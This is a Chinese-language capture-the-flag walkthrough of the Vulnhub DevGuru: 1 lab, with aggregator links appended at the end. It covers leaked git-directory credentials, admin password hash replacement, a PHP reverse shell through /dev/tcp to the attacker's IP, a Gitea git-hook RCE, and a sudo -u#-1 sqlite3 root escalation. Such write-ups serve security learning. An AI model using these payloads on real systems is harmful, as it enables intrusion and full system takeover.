Vulnhub 靶场 DevGuru: 1

news/2024/12/17 11:40:01/文章来源:https://www.cnblogs.com/sainet/p/18595082

前期准备

靶机地址:https://www.vulnhub.com/entry/devguru-1,620/

kali攻击机IP:192.168.11.128
靶机IP:192.168.11.130

一、信息收集

1.使用nmap对目标靶机进行扫描

image

开了 22、80、8585 端口。发现 git 目录,且提示做解析:

192.168.11.130 devguru.local

2. 80 端口

image

发现用的是 October CMS。先扫一下目录:

image

发现 October CMS 的后台页面:/backend/backend/auth/signin

image

没有用户名密码,尝试简单爆破一下也没爆破出来,可能在 /.git/ 目录中有线索。使用 GitHack 把 git 目录下载下来,重建还原源代码,看看有什么信息:

image

image

访问一下上面的这些页面和查看配置文件等:

adminer.php:

image

是个数据库的登陆界面。查一下下载的目录下有没有用户名和密码,在 /config/database.php 文件中找到了,也可以用 grep 找下:

image

username:october
password:SQ66EBYx4GT3byXH
database:octoberdb

登录 adminer.php 页面:

image

image

打开 user 表,发现有条用户数据:

image

用户名:frank
密码:$2y$10$bp5wBfbAN6lMYT27pJMomOGutDF2RKZKYZITAupZ3x8eAaYgN6EKK

分析一下是什么类型的哈希。找了很久只找到这个网站能分析出大部分的哈希加密算法。

image

用的是 bcrypt 算法。尝试用同种类型的自己生成一个密码替换掉,就能登录到 October 的后台页面了。使用 bcrypt 加密算法(网上搜bcrypt在线加密就有不少)生成一个密码:

image

点击 edit 替换掉原有的 hash 值并保存:

image

image

使用替换的密码登录后台页面:http://devguru.local/backend/backend/auth/signin

用户名:frank
密码:password1

image

image

看了一下,发现这里可以上传文件和新建、修改 htm 页面,先试了下上传文件:

image

尝试了几次,都上传不了 shell 文件,那就从 htm 页面下手看看。看了一下 October CMS 的官方文档,

image

image

发现他可以写入 PHP。尝试写入反弹 shell 并 nc 监听:

image

image

function onStart() 
{ echo exec('bash -c "bash -i >& /dev/tcp/192.168.11.128/1234 0>&1"');
}

访问写入 shell 的页面:

image

升级一下 shell,并查看一下文件。

查看 SUID 权限:

image

没什么好用的,上传 linpeas.sh 文件跑一下发现没有好利用的。想起还有个 8585 端口。

3. 8585 端口

image

发现是 Gitea Version: 1.12.5。查一下有没有漏洞:

image

发现有个 RCE 漏洞,不过需要先认证。在刚才连接的 shell 中找下 Gitea 的用户名密码:

image

/var 下有个备份目录,发现里面有 app.ini.bak 。app.ini 是 gitea 的配置文件,安装过 gitea 的应该比较熟悉,里面是配置库路径和数据库连接等信息:

image

在 app.ini.bak 中发现 gitea 数据库的用户名和密码:

user:gitea
passwd:UfFPTF8C8jjxVF2m

在之前的数据库页面中登录:

image

和之前不同的是,这里使用的是 pbkdf2 加密,不过看 gitea 配置文件中也是支持 bcrypt 算法的 更改下 gitea 数据库中 user 表中 frank 用户的密码:

image

image

登录 gitea:

image

利用 Gitea Version: 1.12.5 的 RCE 漏洞,可参考 https://github.com/p0dalirius/CVE-2020-14144-GiTea-git-hooks-rce。 中的示例,当然也可以直接跑这个脚本:

1、要有一个存储库
2、进入Settings -> Git Hooks -> Post Receive Hook
3、写一个 shell 脚本

image

保存后,提交一个更改后的文件,我这里是修改了一下 README.md 文件。并 nc 监听。修改并提交的这个操作相当于:

$ git clone http://devguru.local:8585/tiago/Test.git
$ cd Test
$ touch test.txt
$ git add .
$ git commit -am "Primeiro commmit"
$ git push origin master

直接在页面上修改提交方便些:

image

随便修改下并保存:

image

监听成功,升级一下 shell。

4.提权

image

得到 frank 用户权限。查看 SUID 权限和 sudoers:

image

image

发现可以以 root 身份运行 sqlite3,不过要求输入密码。看下 sudo 的版本:

image

发现这个版本有漏洞:

image

Example: sudo -u#-1 /bin/bash

上面这个例子其实就是使用其他用户权限来执行命令。由于指定用户为 UID=-1。 -1 被解析为无符号整数,所以也就等同于 root 用户(UID=0)

结合 sqlite3 的命令

image

得到:sudo -u#-1 sqlite3 /dev/null '.shell /bin/bash'

'sudo -u#-1' :指定一个负数UID,利用漏洞将其解析为 UID=0(root权限)。
'sqlite3 /dev/null':使用 sqlite3 打开一个虚拟数据库(在 /dev/null 中)。
'.shell /bin/bash:利用 SQLite 的 .shell 功能,启动一个 bash,从而得到 root 权限。

image

得到 root 权限和 flag。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/854255.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

proxifier 抓取指定客户端软件数据包

背景 想要抓取指定Windows 客户端软件的数据包;过滤掉全局代理的无序数据包。 下载地址 https://www.proxifier.com/ 配置步骤 1. 配置 Proxy Servers2. 代理服务配置 3.Proxification Rules 配置需要监听的小程序,选择上一步配置的代理服务 任务管理器章选择想要抓包的进程…

深度学习一些基础知识

1、过拟合问题 1、数据增强 对图像进行旋转、翻转、裁剪等操作,创造出更多样的数据样本。 2、正则化 凡是能解决模型泛化误差而不是训练误差的方法,都被称为正则化。模型的泛化误差主要是由模型过拟合引起的,所以正则化的各种方法用于解决模型过拟合的问题。 L1和L2正则化:…

ABB机器人驱动器维修

ABB机器人维修驱动器是机器人的重要组成部分,负责将电信号转换为机器人关节的精确运动。驱动器一旦出现故障,机器人的运动将受到影响,导致定位不准确、速度波动等问题,严重影响生产线的稳定性和效率。因此,驱动器维修对于保障机器人的正常运行至关重要。一、ABB机器人驱动…

系统架构设计师学习

一、瀑布模型瀑布模型特点: 1.严格区分阶段,每个阶段因果关系紧密相连 2.只适合需求明确的项目 缺点: 1.软件需求完整性、正确性难确定 2.严格串行化,很长时间才能看到结果 3.瀑布模型要求每个阶段一次性完全解决该阶段工作,这不现实

IDEA中代码写错了,如何回到某个节点?

前言 大家好,我是小徐啊。我们在使用IDEA开发Java应用的时候,经常遇到的一个问题,就是有时候代码写错了,想要全部回退,或者回退到某个节点。这个在Git里面是可以操作的,但是如果没有纳入Git管理的代码的话,就不行了。好在,IDEA中,有很好的历史回退功能,今天小徐就来介…

cobbler无人值守安装系统(补鞋匠)

前言官网:https://cobbler.github.io/ Cobbler 是一个快速网络安装 Linux 的服务,而且经过调整也可以支持网络安装 Windows。 该工具使用 Python 开发,小巧轻便(才 15 k 行 Python 代码),使用简单的命令即可完成PXE网络安装环境的配置, 同时还可以管理 DHCP、DNS、TFTP、…

电商团队如何高效协作?多人协同编辑文档成关键!

在电商行业中,团队协作的重要性不言而喻。从选品策略到营销策划,再到库存管理与客户服务,每一个环节都需要各部门紧密配合。作为一支电商团队,如何高效处理信息、优化沟通,决定了运营效率与市场竞争力。而其中一个被忽视却至关重要的工具,就是多人协同编辑文档。 电商团队…

提升教育团队效率与个人学习!哪些办公软件堪称神器?

在教育领域,无论是教育教培团队的日常运营,还是个人备考者的学习提升,高效的协作与管理工具都至关重要。对于注重计划和秩序的 J 人来说,可视化团队协作办公软件更是能契合其工作和学习风格,助力他们更好地达成目标。本文将为您盘点 6 款此类软件,包括国内的板栗看板以及…

看板助力年末总结规划:任务分解与进度跟踪全攻略

一、年末规划的重要性 每年的年末,企业都需要做一次深度的反思和总结,分析过去一年的业务发展、财务状况、市场表现以及团队协作等方面的成绩与不足。年末规划不仅是对过去一年的回顾,更是为来年制定清晰目标和行动计划的基础。具体来说,年末规划的核心要素包括: 总结过去…

课程Project总结 - 移动web大作业(不看微博)

移动web最后的大作业我们组做的是实现类似新浪微博的功能。基本功能包括修改个人信息、发微博、看微博和回复数据库设计微博。我认为整个工程可以分为数据库设计、前台HTML、JSP和CSS开发、后台JavaScript设计。下面就依次看这几个部分 数据库设计用户类:登录不看微博的用户,…

C# static关键字—— 对象引用对于非静态字段、方法或属性是必需的

原文链接:https://blog.csdn.net/Jeffxu_lib/article/details/96425138 在 C# 中,当主函数调用另一个非静态函数时总是提示: “ 对象引用对于非静态的字段、方法或属性是必需的 ” 一、错误分析 1、因为 f02() 是非静态函数;而主函数 Main 前有关键字 static ,其为静态函数…